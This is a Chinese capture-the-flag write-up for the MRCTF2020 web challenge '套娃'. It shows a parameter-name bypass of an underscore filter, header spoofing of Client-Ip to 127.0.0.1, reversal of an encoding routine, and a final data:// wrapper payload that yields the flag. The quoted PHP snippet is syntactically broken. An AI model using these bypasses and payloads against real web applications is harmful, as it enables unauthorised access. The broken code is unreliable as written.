[MRCTF2020]套娃1

打开题目,查看源代码,有提示

有两层过滤

1.过滤"_"与"%5f" 。

这里要求的参数必须是"b_u_p_t"但是不能检测出"_"。这里看着很作弄人。其实这里要用到php里非法参数名的问题。可以参考一下博客

?b.u.p.t=23333%0a

看到提示,flag在FLAG is in secrettw.php

访问secrettw.php

说我能更聪明

直接访问

ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

看到一堆外星语,JavaScript语言,复制解码,找网站运行,发现需要破石头请求

看到最后源码

//逆向代码

<?php

$v="flag.php";

$re='';

for(i=0;i<strlen(v);i++)

{

re.=chr(ord(v[i\])-i*2);

}

v1=base64_encode(re);

echo $v1;

?>

//v1=ZmpdYSZmXGI=

.change函数,先进行base64解码,在对每一位的ascii码加上i*2。很简单写一个逆函数就行

最终payload:/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=,然后抓包修改下地址信息,结果如下:

flag{c8cf3dad-15b4-4a55-9344-51e749df0029}

相关推荐
武昌库里写JAVA7 分钟前
MacOS Python3安装
java·开发语言·spring boot·学习·课程设计
Dxy123931021610 分钟前
python如何设置excel单元格边框样式
开发语言·python·excel
eternal__day15 分钟前
Spring Cloud:构建云原生微服务架构的最佳工具和实践
java·spring cloud·微服务·云原生·架构
cdut_suye15 分钟前
【Linux系统】从 C 语言文件操作到系统调用的核心原理
java·linux·数据结构·c++·人工智能·机器学习·云计算
dancing99915 分钟前
Android Studio中Gradle 7.0上下项目配置及镜像修改
android·ide·android studio
forestsea22 分钟前
Maven 插件参数注入与Mojo开发详解
java·maven·mojo
chaodaibing27 分钟前
Python解析Excel入库如何做到行的拆分
开发语言·python·excel
荔枝吻1 小时前
【抽丝剥茧知识讲解】引入mybtis-plus后,mapper实现方式
java·sql·mybatis
在未来等你1 小时前
互联网大厂Java求职面试:构建高并发直播平台的架构设计与优化
java·spring boot·微服务·kubernetes·高并发·分布式系统·直播平台
dudly1 小时前
Python类的力量:第五篇:魔法方法与协议——让类拥有Python的“超能力”
开发语言·python